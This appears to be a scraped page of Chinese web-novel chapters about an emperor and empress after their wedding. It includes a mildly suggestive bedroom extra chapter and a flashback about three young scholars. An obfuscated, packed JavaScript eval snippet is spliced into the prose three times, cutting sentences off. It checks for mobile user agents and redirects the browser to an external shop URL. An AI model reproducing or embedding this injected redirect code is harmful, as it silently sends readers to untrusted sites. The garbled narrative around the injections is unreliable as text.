苏若琳连忙望向窗外的院子,眼中闪过一丝亮光。 “从屋里看可是看不见的。”秋姨娘笑了拿起榻上的红头盖,缓缓盖在了苏若琳的头上,“待会夫人出了门,就能见着新郎官咯!” 那用金线绣着凤凰纹样的红头盖罩在了苏若琳的头上,她视线里顿时红彤彤得一片,随后,便有人往她手里塞了一个丝绸做的大红花。 她被众人搀扶着从榻上站起身,跟着这朵花另一头的牵引,缓步走出了院子。 等苏若琳跟着众人一路出了院子,从后院来到了前院,她人也快累得够呛了。 这个嫁衣,还有脑袋上的那些东西,是真的沉啊! 真想摘下来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她话音刚落,坐在马上的萧怀琳注意到了她惊艳的目光,朝妹妹微微一笑。 杨婉莹的脸颊微微红了,朝着身边的苏若琳小声道:“母亲,祝你们幸福!” 苏若琳含笑着回应:“好,谢谢婉莹。” 杨纨枫还在背着母亲缓步往前走着,望着眼前壮观的迎亲队伍,还有高坐在花轿前的萧怀琳,他忽地低声道:“母亲。” “嗯。”背上的苏若琳微微点头,“怎么了?” “若是母亲日后在宫里受了委屈,一定要和儿子说。”杨纨枫顿了顿,似是犹豫了片刻,终于将话将出口,“儿子如今身居高位,手里也有足够的筹码,若是大哥对您不好,儿子有法子制衡他。” 温柔而又直白的话语像是一股暖流,涌入了苏若琳的心间,让她整个心都被这股暖流所融化。 她略微点了点头,秀丽的唇角勾起了幸福的笑意:“好。” 杨纨枫背着母亲上了花轿,将母亲放到轿子里后,他再次握住了母亲的手:“我会常去看母亲的。” 话至此处,这个即便是面对生死攸关依然云淡风轻的少年郎,双眼微微泛红,眼中充满了不舍。 “母亲,您一定要过得幸福快乐。” 这是儿子,毕生的心愿啊。 许是察觉到了少年郎话里的哽塞,苏若琳安静了片刻,她不知道该如何安慰这个向来不用自己操心的儿子。 最后还是杨纨枫松开了母亲的手,柔声道:“母亲,那我走了。” 他才刚要转身,那只手便被苏若琳重新握住。 随后,她母亲那罩着的红头盖下发出了一阵温柔的笑声,朝着他莞尔:“你放心吧,若是过得不好,我就偷溜出宫来找你。” “反正,我的儿子一定会庇护我的,对吧?” 杨纨枫那张不舍的面容终于浮现出了一丝笑意,他重重地点头:“嗯!” 哪怕是天下倾颓,山河破碎,他也定能护住他的母亲。 杨纨枫最后下了轿,随着一阵礼鸣,与那声高喊的“起轿”,迎亲队伍里的人纷纷动了。 萧怀握紧缰绳,带着他终成眷属的新娘,还有那长达十里的红妆,浩浩荡荡地自苏国公府启程,向皇宫出发。 自今日始,他将和他此生唯一珍视的人,共度这人间芳华。 桃之夭夭,灼灼其华,之子于归,宜其室家。 149. 番外一:房中术 自那日大婚以后,萧怀琳时常往御书房跑。 几乎在里边一呆就是半天,也不看书,而是一直是翻找着什么。 也不是在找可能藏在御书房里的其他东西,而是真的在找书,从东头找到南头,找遍了每个书架,把小半个御书房的书都快翻遍了。 仍一无所获。 萧怀琳瞥眉看着四周浩如烟海的书籍,不由得喃喃道:“偌大的御书房,怎么就没有呢......” 侍奉在侧的李公公小心翼翼地问道:“陛下可是在找什么书,也许奴才能帮您找?” 此时萧怀琳正站在暗处,逆着光看不到他脸上的神情。 只见他略微沉默了一下,而后道:“......在找有关房中术的书籍。” 话语中还带着一丝不易察觉的迟疑。 闻言,李公公当场僵在原地。 而后大惊失色。 我的陛下啊!这御书房这么正经的地方,怎么可能会有那种东西?! 只是失色归失色,竭力满足陛下的一切需求一直是宦官一以贯之的宗旨,勉强冷静下来了李公公略微思索了片刻,最后道:“这个......若是陛下需要,也许奴才能给您弄来几本。” “嗯?”萧怀琳眼睛一亮,当即道,“不错,那这事就交给你去办了。” 原来那日大婚,萧怀琳在外面和群臣喝过酒,夜里回了洞房。 他和自己的心上人喝过交杯酒,熄了灯,解下了床榻边的帷帐。 又和自己终成眷属的心上人互相宽衣,然后...... 然后他也不知道怎么办了。 当初西征之时,和若琳那一夜时自己已经神志不清,完全不记得自己是怎么做的,如今他是清醒着,反而不知道自己应该做什么。 最后,还是他的若琳握着他的手,然后手把手地教他要怎么做。 清纯处(不)男萧怀琳事后觉得十分郁闷。 从前他想要和他的若琳在一起;和他的若琳永结同心、拜堂成亲;想要和他的若琳拥抱、接吻、行房,做各种亲密的事;想要和他的若琳融为一体。 拥抱,接吻,他都做到了,可是真到了行房这一步,他倒是有个模糊的概念,但是具体该做什么,都有哪些步骤,他还真的是一无所知。 而且这种东西,他也必须得学,更不能只从妻子那里学。 他得自己想办法。 于是他便去御书房翻了数日的书。 这事说实话,他还挺着急的。 不过好在李公公那是什么人物,能从一众宦官里脱颖而出,做到陛下身边贴身伺候的大监,必然也不是等闲之辈。 于是还没过两日,李公公便手捧着几本红色封皮、没有题字的小本子,递上了萧怀琳的案头。 “陛下,您要的书,奴才找来了。” “嗯。”萧怀琳接过最上面那本,翻开了第一页。 但见上面画着赤条条的一对男女,皆不着寸缕,抱在一起做着一种极其放浪形骸的姿势。 “啪”的一声响起,萧怀琳猛地合上书本。 他深吸了一口气,勉强将刚才那股视觉冲击消化下去。 “......” 萧怀琳沉默了许久,最后轻咳了一声,将那本书扔在了案台上,脸颊微微泛红:“都放那儿吧。” 李公公从方才递书的时候开始,压根不敢抬起头来看陛下一眼,此时闻言,连忙将余下的那几本也都放在了案台上。 最后,直到今日的奏折都批完,萧怀琳才迟疑地瞥向了案台角落里放着的那几本书。 他有些头疼地捏了捏眉心,尽管很羞耻,但是他也知道,这书他是非看不可。 萧怀琳摆了摆手,将李公公和屋内伺候的一众宦官全都退了出去。 而后才咽了口唾沫,如临大敌般地抽出方才看的那本,然后视死如归地翻开了第一页。 看就看吧,他拼了! 接下来的一连数日,萧怀琳都在暗中自己琢磨这些不知廉耻的书籍,有时看着看着,便会觉得口干舌燥,浑身难受,脑中不由自主响起他的若琳。 想起他的若琳在床榻之上时,脸上娇媚的神情,白皙而又柔软的躯体,还有那令人沉醉的喘息和呻吟...... “啪”的一声,萧怀琳再次合上书。 完全看不下去。 他匆匆站起身,推开内室的门走到廊里,不由自主地问道:“皇后现在在做什么?” 李公公恭敬地答道:“今日杨国夫人来找皇后娘娘了,娘娘应当是在同杨国夫人说话。” 苏若琳先前大婚成为皇后不久,便同萧怀琳提过,想要将秋姨娘扶正。 萧怀琳自无不应,当即下旨,赐秋姨娘一品杨国夫人之位,可自由进出后宫,随时拜谒皇后。 如今听到若琳正和秋姨娘聊天,他只好郁闷地转身,又重新回了内室。 算了,还是别去了。 ......说起来,这几日里,他也把这几本书研究了不少,但是总觉得哪里不太对。 这些书里画的东西,和若琳教的,好像根本不是一个东西。 可是他也不好意思问。 每天夜里,他光是被若琳拉着手做那些事情,都是花了好些时日才能不脸红。 为此,他还被他的若琳笑话了呜呜呜。 自觉丢人的萧小狗绝不服输,他誓要把这些书全都看完,必须得参透这其中的奥义。 可惜还没等他参透完,就被他的若琳逮了个正着。 某日傍晚,他正翻着那些不知羞耻的书,忽地内室的门被推开了,他连忙将手里的书塞到屁股底下。 若是其他人进来也就罢了,放眼整个大楚,谁敢偷窥他在看些什么? 可是话又说回来,放眼整个大楚,能未经他许可、无需任何通传就进入他的内室的,偏偏就不是那个“其他人”。 他这般想着,一个俏丽的身影便缓缓走了进来,手里还端着一碗汤,含笑望着他。 如今的苏若琳相比进宫成为皇后之前,气质变得愈加端庄了,而这端庄的气质配上平日里倦怠的神态,却是衬托出了一种令人心动的媚。 就好比那盛开在淤泥之中的莲花,越是圣洁无瑕,就越让淤泥想要染指。 萧怀琳看着心上人朝她缓步走来,不由自主地咽了口唾沫。 末了,苏若琳在他身侧跪坐了下来,将那碗热汤放到案台上,打开上面的盖子:“怎么让那些太监们全都站在屋外啊,可是他们犯了什么错?” 当然不是,只是因为他不想让那些太监们看到,他在看那些可疑的书时,脸上会露出的异样神色罢了。 好在他没有说,他的若琳也没有多问。 “都已经到了用晚膳的时候了,寻常这个点你早就到我的宫里了,是今日的奏折比较多吗?”苏若琳说着用勺子舀起一勺汤,举到她的心上人唇边,“来,张口。” 萧怀琳乖乖地张开口,享受着自己的爱人喂自己喝汤。 最后,等到这碗汤都见底了,苏若琳才拿出手绢擦了擦心上人嘴角,然后轻轻吻了一下:“真乖。” 柔软的触感转瞬即逝,萧怀琳感觉到自己的唇瓣上还停留着爱人的余香。 他不由得动了动喉结,低声呢喃道:“若琳......” 苏若琳轻笑了一声,捏了捏他的鼻子:“你不饿啊?” 饿,当然饿,他恨不得现在就把心上人吃抹干净。 萧怀琳不由自主地联想到放才在书里看到的那些图画,越来越觉得口干舌燥,他低下头覆上了爱人的朱唇,疯狂地压抑着心底的饥饿和渴望,才让自己索取地不那么凶狠。 只是越压抑,欲望便愈加强烈,他深深地吮吸着爱人的舌头,几近想要将它吞入腹中。 等到唇齿分离过后,苏若琳瘫软在萧怀琳怀里不断地喘息着:“你......” 他今日怎么这么凶? 可是还没有完。 萧怀琳低头看着爱人细嫩的脖颈,不由自主地低下头,轻轻地咬住那截白皙的脖颈,而后轻轻地吮吸着,留下了一片轻浅的红印。 “怀琳,你别......”苏若琳话音未落,她的心上人再次吻住了他。 “唔......”苏若琳想要挣扎,外面还有一堆人站着呢! 可是她的挣扎从来就没有成功过。 反而她面前的萧怀琳越是感受到怀里人在挣扎,便越是兴奋,越是渴望,越想要将他的爱人从头到尾地吃掉。 最后两人从外殿的内室折腾到了内殿,在内殿的床榻上缠绵了许久,才终于抱在一起依偎着喘息。 太极殿内殿这张床榻,自从皇帝登基以后就一直独守空榻——因为每夜皇帝永远会去皇后的椒房殿,从来不会在这里睡。 如今这张孤独许久的床榻终于迎来了主君和主母的宠幸。 末了,萧怀琳轻轻吻了吻爱人的额头和鼻尖,起身要去吩咐太监们备水沐浴。 苏若琳使劲地拧了一把他的腹肌:“你是想要所有人都知道咱俩白日宣淫吗!” 萧怀琳吃痛,有些委屈地低头看着自己的爱人:“你每次行房之后,不沐浴都会浑身不舒服啊。” 可是她从来都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105565|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有大白天的和这小子做这种事啊! 最后苏若琳还是让他出去叫水了,顺便让他吩咐门外的绿俏去给自己拿身干净的衣服。 反正脸已经丢出去了,那干脆就一丢到底吧。 太极殿内殿的偏室里便有供皇帝沐浴的浴池,两人沐浴过后都换了身干净的衣服,这才回到了外殿。 苏若琳披散着头发,双手撑在案台上,幽怨地看着萧怀琳:“我饿了。” 她给这小子是喂得饱饱的了,自己晚膳还一点没吃呢。 萧怀琳忙将爱人拥入怀里,吩咐外面的太监传膳。 耽误了那么久,饭菜怕是都要凉了。 苏若琳百无聊赖地把玩着案台上的各种笔墨砚台,忽地注意到了角落里放着的那几本无题红书。 她扭过头,好奇地拿起一本:“这是什么书?” 怎么还没有书名,是一些修复的孤本吗? 只是还未等她翻开,面前的心上人连忙从她手里把书抽了出来,然后背到身后。 苏若琳歪着脑袋看向心上人:“什么东西啊,怎么还不许我看了?” 萧怀琳连忙摇了摇头,眼底还藏着一丝不易察觉的惊恐。 “那就是可以看了。”苏若琳说着又要去拿案台上的其他红本。 萧怀琳眼疾手快地把其他书全部抄入自己的身后。 苏若琳:...... 怎么个意思。 她定定地盯着面前略显紧张的少年郎,眼中逐渐染上了一层不容置疑的威严。 “若,若琳你听我说......”萧怀琳只觉得自己后背发冷。 苏若琳伸出一只白皙的手,手心朝上,冷声道:“交出来。” 最后萧小狗颤颤巍巍地把书交了上去。 苏若琳接过那些书,随手翻开其中一页,然后瞬间瞪大了双眼,连忙把书合上了。 这,这小子怎么会在看......?! 怪不得他刚才的反应那么强烈,欲望那么明显...... 原来是偷看小黄书看得! 苏若琳那张原本白皙的面颊越来越红,最后厉声厉色地看着自己的心上人:“你居然敢背着我偷看小黄书!” 还不和她一起分享! 咳咳咳......不是,说笑的,她才不想这小子和她分享这东西。 而萧怀琳听到爱人的话,那双原本窘迫的凤目中顿时闪过一丝迷茫:“这书不黄啊,它是红色的,应当叫小红书?” 苏若琳:...... 问题在于它是小黄书还是小红书吗! 她严厉地瞪了心上人一眼,伸出手轻咳了一声:“你......咳,你为什么要看小黄......小红书?” 连最基础的流程和动作都还不熟悉呢,就想玩花的! 萧怀琳心虚地低下头,气氛陡然陷入了沉寂。 片刻后,萧怀琳想着,既然都被发现了,死猪不怕开水烫,那就把一直闷在自己心里的疑惑问出来好了。 他心一横,开口道:“因,因为,我有个问题不懂!” “嗯?”这个回答倒是出乎苏若琳的意料,她抬起微红的双颊,羞涩中带着茫然地看着他,“你哪里不懂?” “就,就是......”萧怀琳支支吾吾地将自己的疑惑讲了出来。 他觉得,这些书上画的东西,和爱人教的并不是一个东西。 好像他的若琳交给他的才是行房时都有哪些步骤,应该先做什么,后做什么,怎样做才能让他的若琳更加舒适,让彼此更快进入状态。 可那本书上画的好像单纯就是...... 苏若琳听完了身上人的疑惑,不由得笑出了声。 这个小笨蛋。 因为她交给他的那些都是前戏,是行房前的良好“服务”。 苏若琳笑着给她的心上人解释了一遍。 听到最后,萧怀琳才恍然大悟地点了点头。 然后他窘迫地将爱人拥入怀里:“那这些书我不看了,一点用都没有。” 简直就是误人子弟。 “倒也不是一点用都没有啦。”苏若琳含笑挠了挠心上人的下巴,宠溺道,“这些书上的内容你若是想,可以先留着,等以后我们熟练了,再一起看,一起研究。” 闻言,萧怀琳的眼眸蓦地一亮,那双秀丽的凤目中半是羞涩,半是期待。 那,那些姿势,如果和他的若琳用的话,肯,肯定...... 嗯...... 他红着脸下巴蹭了蹭爱人的头顶,勾起的笑容里满是眷恋的爱意:“好!” 150. 番外二:柳州三杰 五十年前,柳州。 此时正值人间九月,秋高气爽,桂花飘香。 无数百姓聚集在贡院的大门外,有手握书卷的书生、有衣冠楚楚的贵家少爷,有妇孺、亦有老者,人声鼎沸,好一派热闹景象。 过了片刻,在众人的注目下,贡院的大门被缓缓推开,一众手持廷杖的督考走了出来。 那些督考将手中的廷杖横在身前,将堵在门口的百姓推至五丈开外,在贡院的门前清理出了一片空地,稳定好秩序。 最后,待到人群逐渐安静下来,贡院的门内再次走出来了一个身影。 那人手持桂榜,在其他督考的护卫下,来到了大门旁的南墙前。 “放榜了放榜了!”无数考生和旁观的百姓高声呼喊着,齐齐地盯着那张逐渐被展开,而后张贴到墙上的桂榜,望眼欲穿。 彼时,在贡院附近的一家茶馆里,说书人却是已经开扇了。 “说到那柳州三杰,我得先问一句,咱们这茶馆里,可有外地人?” 有个人举起手:“我是外地人,怎么,你们柳州三杰和外地人有关系?” “那倒不是。”说书人呵呵一笑,“不过啊,客人倒是可以问一问咱们的本地人,今年秋闱的前三都是谁。” “啊?”那外地人略微愣了愣,“秋闱的桂榜这不是刚出吗?报录人应该出贡院也有一段时间了,你问这个作甚?” 此言一出,其他顾客也笑了。 “你是有所不知啊,甭管这榜出没出,报录人走没走。”有个顾客道,“我们柳州这秋闱的前三啊,不用问,不用看,就能知道是谁!” “谁啊?”那顾客不禁好奇道,“为什么你们就那么肯定啊?” 说书人一拍桌上的抚尺,高声道:“自然是,咱们柳州家喻户晓的青年才俊——柳州三杰!” 彼时,茶馆对面的酒楼包间里,一个身着灰色衣袍,袍子上却打着补丁的清秀书生正捧着怀里的新衣细细端详着,爱不释手。 “唉,这料子可真好!” “你这不是废话嘛。”他对面一个年岁相当、身着锦衣的青年摇着手里的扇子,“这可是我找柳州最好的铺子定做的,用的是江南最新来的料子,咱仨一个款式的。” 锦衣青年说着微微直起身,合扇笑道:“明日鹿鸣宴,你俩就穿着这两身衣服去,让他们看看咱们柳州三杰的风采。” 他话音刚落,身侧的另一个青年不动声色道:“招摇过市。” “我招摇过市?”锦衣青年指着自己,不可思议地瞪大眼睛,“张辅之你还有没有点良心了,我特意给你订做身衣服你还骂我!” 闻言,张辅之这才从书卷中抬起头,年轻的面容清秀沉稳,却因为神情太过严肃,显得有些老成。 只见他眉头微皱,疑惑地问道:“你从哪知道的我衣服的尺寸?” 锦衣青年白了他一眼:“你自己猜。” 年轻的张辅之皱眉思索了片刻,又看向对面的清秀书生:“前些日子你去我家借了身衣服,到现在还没还回来,是拿去让祝贤盛订衣服了?” 他对面的清秀书生嘿嘿一笑,拿起前者腿上的袍子,使劲地夸道:“多好看的衣服啊,老张!” “这么好的料子,不穿多可惜啊!” “得,老张不愿意穿,老陆你把衣服拿来还我。”祝贤盛也从椅子上站起身,说着就要把那身袍子拿走,“明日鹿鸣宴就咱俩穿,他爱穿那身补丁衣服让他穿去。” 祝贤盛的手还没碰到那件衣袍,张辅之猛地把它抢了过来,抱进怀里:“我没说不穿。” 而后他轻咳了一声,一张脸微微地红了:“这身衣服不错,老祝,改日我请你吃饭。” 祝贤盛和陆恒之的脸上纷纷露出了笑容。 他们这老大哥就是这样,脸皮子薄得跟那什么似的。 口嫌体正直。 不过请吃饭就不必了,张辅之这小子自己家里都穷得揭不开锅了,还请别人吃饭,闹呢。 这时,一个下人走了过来,附在祝贤盛耳边低声说了几句,后者点了点头,前者很快告退了。 随后祝贤盛看向自己的两个好兄弟,笑道:“我父亲说,知府三日后想请咱们仨吃顿饭,就在我家府上。” 此言一出,陆恒之乐了:“知府请咱仨吃饭,居然要在你家府上请?” 祝贤盛无奈地摆了摆手:“官大一级压死人,人家是知府,还不得人家说啥就是啥。” 张辅之冷哼了一声:“就这样的官,贪腐无能,唯利是图,你也想当?” “我想当的自然不是这样的官。”祝贤盛略微正了正神色,“我要当的可是个清明的好官!” “做万人之上的官,是吧?”陆恒之笑道。 “没错!”年轻的祝贤盛意气风发,骄傲地仰起头,“我要做那万人之上的丞相,成为天子的辅臣,造福百姓,助大楚延续千秋万代!” “让那些昏庸的、贪污的、残害百姓的官都滚蛋,让有才华、清廉的官上来。”祝贤盛说着举起举杯,高声道,“整顿风气,稳固朝纲,名垂青史!” “这可不容易。”张辅之轻笑。 “我一个人不容易,但是还有你们啊!”祝贤盛说着将酒杯举到两个兄弟眼前,“咱们仨皆少年英才,如今秋闱拿了前三,明年的春闱、殿试,兴许也能拿前三呢?” “届时,咱们柳州三杰可以叫做大楚三杰了!” “春闱的话......”陆恒之有些迟疑,“那可是和来自大楚各地的青年才俊一起竞争啊。” “不过。”陆恒之说着,又露出一个和煦的笑容,“老祝你肯定没问题。” 尽管他们三个被称为柳州三杰,但是他们三个都很清楚,祝贤盛的天资,其实远在张辅之和陆恒之之上。 “那咱仨一起努力嘛。”祝贤盛说着晃了晃举在两人眼前的酒杯,“快,咱哥仨走一个!” “好!”陆恒之当即举起酒杯。 张辅之虽未言语,却也举起了酒杯。 “来!就祝咱们三个金榜题名,青云直上!” 话落,三人一仰而尽。 清酒入喉,陆恒之的眼中顿时一亮,他咂巴咂巴嘴,细细地回味着喉间的甘甜。 “哇,这就是好酒的滋味吗,比村子里的土酒好喝多了!” 祝贤盛粲然一笑:“这叫屠苏酒,贵重着呢,还是我父亲的朋友去京城一趟,才给他弄来了一坛。” 他说着举起手里的空酒杯,脸上露出了狡黠的神色:“我父亲一直把它藏在地窖里,都不舍得喝。” “那你父亲居然就让你带出来了?”陆恒之惊讶道。 “他没让我带出来。”祝贤盛抹了抹鼻子,骄傲地挺起胸,“但是我偷出来了!” 闻言,陆恒之当即翘起大拇指:“好样的二哥,弟弟佩服!” 话落间,张辅之已经悄悄又给自己续了两杯。 “老张你喜欢?”祝贤盛见状高兴地问道,他这老大哥性情真的太稳了,这还是他第一次见张辅之青睐什么东西。 偷偷续酒被逮了个正着,面皮子薄的张辅之有些心虚,轻咳了一声:“......确实是好酒。” 祝贤盛哈哈大笑:“那这坛酒就偷值了!” “来,咱仨再走一个!” 哥仨说着笑着,从天南谈到地北,畅谈着他们对未来的向往。 祝贤盛是一定要做高官的,他的理想便是那百官之长的丞相;陆恒之比起做官,他只是单纯地念书,如果可以的话,他想念很多很多书,钻研一辈子的学问。 最后两人问起张辅之:“老张,你将来想干什么?” “我?”张辅之说着又抿了一口杯中酒,“赚点钱,让家人生活富足。” “还有......”他略微顿了顿,小声道,“和你俩一起闯下去。” 他是三人之中家境最差的,亦是家中长子,本应肩负着支撑全家的重担。 可是家人却对他给予了最大的厚望,事事以他优先。 弟弟妹妹从小就喂鸡种地,唯有他能坐在屋里念书;家里一年到头能有块手掌大小的肉,几乎一大半都是放在他碗里的;农活他做的也是最少的,即便他想去帮忙,也会被家人赶回屋里,让他专心读书。 弟弟插秧插得腰间青紫,家里却没钱买药,只能硬生生挨着;妹妹在腊月的河水里洗衣,那一双小手开裂得让人心疼,为此妹妹嫁人的时候还被男方嫌弃。 从那时起,他便立誓,他一定要让家里人过上好日子。 如今秋闱他摘得亚元,其实在柳州这片地方已经可以做官拿俸禄,让家人过上好日子了。 可是他却有了一己私欲。 他想陪着眼前的两个好兄弟一起去京城,去春闱、去殿试。 家里人没有反对,父母都很支持。 可是这就意味着,家里还要继续供他读书,过上半年的苦日子。 想到此,张辅之再次举起酒杯,一饮而尽。 “你喝得脸都红了。”祝贤盛微微瞥眉。 张辅之吐出一口浊气:“醉了更好。” 陆恒之拍了拍祝贤盛的肩膀,小声道:“算了,喝酒消愁,让他喝吧。” “那我们陪你喝。”祝贤盛说着也举起酒杯,“来!” “好!”陆恒之同样举起酒杯。 哥仨碰杯,再次一饮而尽。 那坛屠苏酒很快就见了底,哥仨纷纷醉倒,连站都站不稳了。 “这酒!”陆恒之红着脸打了一个嗝,“好!” “下次还喝。”张辅之红着脸说完这句话,便栽在了椅子上。 “那咱仨约好了!”祝贤盛趴在桌上,摇摇晃晃地举起手里的空酒杯,朗声道,“等殿试过后,咱仨到京城,再喝一次屠苏!” 最后三个人全都醉倒在了桌子上,神志不清。 还是祝贤盛家里的下人把他们背了出去,送各自回了家。 这是柳州三杰第一次三个人聚在一起喝酒吃饭,许下了再饮屠苏酒的约定。 当年意气何等风发,畅想未来广阔。 可是没过多久,意外就来临了。 鹿鸣宴过后不久,有一次祝贤盛一家坐马车行在大街上。 至拐角处,忽地有一辆极其高大的马车撞了出来,将他们撞倒。 顿时,祝贤盛觉得一阵天旋地转,耳目眩晕,四周响起不大真切的呼喊。 这还没完。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他这般想着,从怀里摸出了一封信,递给老仆:“劳烦你把这封信交给他,我和老陆家在何处你是知道的,若有什么问题,可到我们家中寻人。” 老仆感激地收下了。 后来他们又来找祝贤盛许多次,后者却再未愿意见过他们。 再然后,来年春闱,张辅之和陆恒之夺得前二。 四月殿试,两人又夺得状元和榜眼,果真是当初所期盼的那般,金榜题名,青云直上。 唯独祝贤盛这个名字,从此销声匿迹了。 昔年的柳州三杰,变成了如今的知之双圣。 ...... 祝贤盛从榻上猛地睁开眼,大口地呼吸着。 他做了一个梦,梦见了很久很久之前,他还年轻的时候,凌云壮志,意气风发。 再后来...... 他深吸了一口气,缓缓从榻上坐了起来。 这时,有小太监蹑手蹑脚地推开门走了进来,见他已经醒了,连忙来到他的榻前,恭敬地行礼。 “祝相您醒了?早膳已经备好了,待用过了早膳,今日还要上早朝。” 闻言,祝贤盛轻声笑了。 对啊,如今他终于也是丞相了。 待洗漱过后,用过了早膳,祝贤盛坐上轿辇去往太和殿。 这轿辇乃圣上钦赐,专为祝相每日早朝往返,亦或日常出门行走所用。 轿辇到了太和殿前便停下了,正殿之前的台阶,需得步行上阶。 太和殿前的台阶足足有一百级,百官早朝往返共行二百阶,无人例外。 若是下阶还好,上阶可是真的累,便是寻常人走这一趟都要累得够呛,更不用说祝贤盛还是个瘸子,要拄着拐。 小太监一开始是想背祝贤盛上去的,他被调过来伺候祝相前,被嘱咐的职责里也有这一条。 可是祝贤盛那是个什么倔脾气啊,第一次见这一百级台阶的时候,他连眉头都不皱一下,这些时日以来,就没服输过。 于是久而久之,小太监就只好跟在祝相身侧,见祝相何时累了,便上去扶他一把。 不过小太监能上去扶的机会还是很少的。 因为基本每当这个时候,其他的大臣也都纷纷到了。 一众大臣路上见到祝贤盛,都会恭敬地行礼:“祝相早。” 每当这个时候,大概是祝贤盛最真切地能感受到,他已经实现了当初的心愿了。 也有些想要和祝相交好的大臣,这个时候都会来到祝相面前,脸上带着几分谄媚的笑意:“祝相!让下官来扶您吧。” 毕竟祝相是住在宫里的,平日里几乎从不出门,每日上早朝这一段路,可能是他们唯一结交祝相的机会了。 有时候早朝的这一段路上,还会遇到吏部杨尚书和户部杨侍郎,两个少年郎向来是结伴前来,再一起来到祝相身侧,一人接过祝相腋下的拐,一人扶着祝相进宫。 这个时候,那就没有其他人什么事了。 等祝贤盛进了太和殿,百官的最前排已经一左一右放好了两把椅子,他拄拐来到右边的椅子前,然后坐下,等着人齐。 如果这个时候左边那把椅子已经坐好了人,他坐下的时候必定要喊一声:“老小子。” 而那人必定会冷哼一声以示回应。 久而久之,某日张辅之来了以后,看着已经坐在右侧的祝贤盛,冷着脸喊了句:“老小子。” 祝贤盛乐了。 最后,等到百官来齐,萧怀琳也从殿后走了出来,随着李公公地一句尖声高喊:“上朝!” 新的一日,自早朝伊始。 151. 番外三:过年(上) 又是一年冬。 距离萧怀琳和苏若琳大婚,已经过去了将近一年。 回想起苏若琳刚来到这个世界的时候,满脑子想的都是无痛养娃,丈夫早死,过上有钱还省心的优雅少妇生活。 结果现在,嫁给了一个年纪比她还要小的丈夫,到现在也已经怀孕四个月了。 虽然......这个丈夫帅气多金还体贴,当时喜脉被摸出来的时候,高兴得抱起她转了好几圈,让她觉得怀孕这事也没那么糟糕透顶吧...... 就是如今临近年底了,萧怀琳那小子也越来越忙了。 往日里,早中晚膳他都会来椒房殿陪自己用膳,自从腊月初开始,便让小太监过来转达,年前早膳都不过来了。 半个月前,就连午膳也不过来了。 如今这都快到用晚膳的时辰了,那小子还没有来,不会是打算把晚膳也给推了吧? 那也不应该啊,如果是不打算和自己用膳的话,那小子都会派小太监来转达一声的啊。 苏若琳望着窗外郁闷了许久,最后直到绿俏过来小心翼翼地道了声:“娘娘,该用晚膳了。” 可是萧怀琳那个混蛋还没有来啊! 苏若琳最后一拍桌子,吩咐红烛去准备轿辇,她要去找萧怀琳。 就算再忙也应该说一声吧! 等到了太极殿,苏若琳挺着刚显怀的肚子缓缓步入外殿,一路畅通无阻。 陛下早已吩咐过,皇后可随心所欲至皇宫内的任何一个角落,无需任何人的许可,哪怕是来见陛下本人,亦无需通传。 苏若琳气势汹汹地推开内室的门,随后便见到萧怀琳正坐在案台后,一手托着腮,认真地倾听着大臣的汇报。 而在他面前,则依次坐着六部尚书。 彼时户部尚书正在汇报年底工作总结。 忽地内室的门被推开,所有人的目光全都汇集到了苏若琳的身上。 正在做汇报的户部尚书也不由得停下了言语,诧异地看向苏若琳。 原本气势十足的苏若琳顿时尴尬得脚趾扣地。 天啊,这帮人都不吃晚饭的吗,为什么还在开会! 萧怀琳见到爱人来,当即站起身,从案台后走了出来。 他三两步来到爱人的面前,那双略显疲惫的凤目中满是关切:“怎么,出什么事了吗?” 苏若琳望着心上人略有些疲惫的面容,先前的不满顿时一扫而光,徒留下的满是心疼。 她红着脸轻咳了一声,低着头小声道:“没有出事......就是,来喊你去用晚膳。” 萧怀琳这才恍然大悟,含笑揽住了爱人的腰肢,笑中带着几分歉意:“你瞧我,都忙得忘了时辰。” “那你忙你的,我先出去。”苏若琳推了推他,小声道,“你先松开我,大臣们都还在呢......” 萧怀琳挑眉轻笑了一声,牵起了爱人的手,带着她走进屋内。 “哎,你......”苏若琳陡然被心上人牵起,顶着六位朝中众臣的视线,被拉到了案台后一起坐了下来。 “等一下,这就快讲完了。”萧怀琳说着揉了揉爱人的发顶,随后看向户部尚书,“你继续。” 户部尚书:...... 难道我也是你们调情中的一环吗? “是。” 苏若琳:...... 她觉得自己尴尬得可以抠出整座太极殿了。 苏若琳心虚地抬起头看了自己的乖儿子杨纨枫一眼,后者原本也在认真地听着,忽地注意到她的视线,朝母亲微微一笑。 更尴尬了啊啊啊! 她秀恩爱怎么就被儿子撞到了啊啊啊! 等到户部尚书终于做完了年终总结,苏若琳如释重负地长舒了口气。 “嗯。”萧怀琳略微颔首,“可以了,都退下吧。” 他说着便牵起爱人的手站起身,和爱人径直朝门外走去。 户部尚书见状连忙把人拦住:“陛下,等一下,臣还有......” 年终总结是做完了,但是还有其他工作呢! 只是他话还未说完,萧怀琳猛地回过头,脸上带着和煦的微笑,眼中却包含着不容置疑的威严:“不,你没有。” 娘的,劳资为了这些个年底的破公务把爱人的早膳和午膳都给推了,你还想怎样? 让朕把晚膳也给推了? 没门!!! 他这般想着,泛着几分冷意的目光依次掠过其他几位尚书,皮笑肉不笑地开口:“快到用晚膳的时辰了,诸位爱卿也记得早点回家,别让家里人等急了。” 户部尚书还想要开口,身旁的工部尚书连忙拉了拉他的衣袖,冲他摇了摇头。 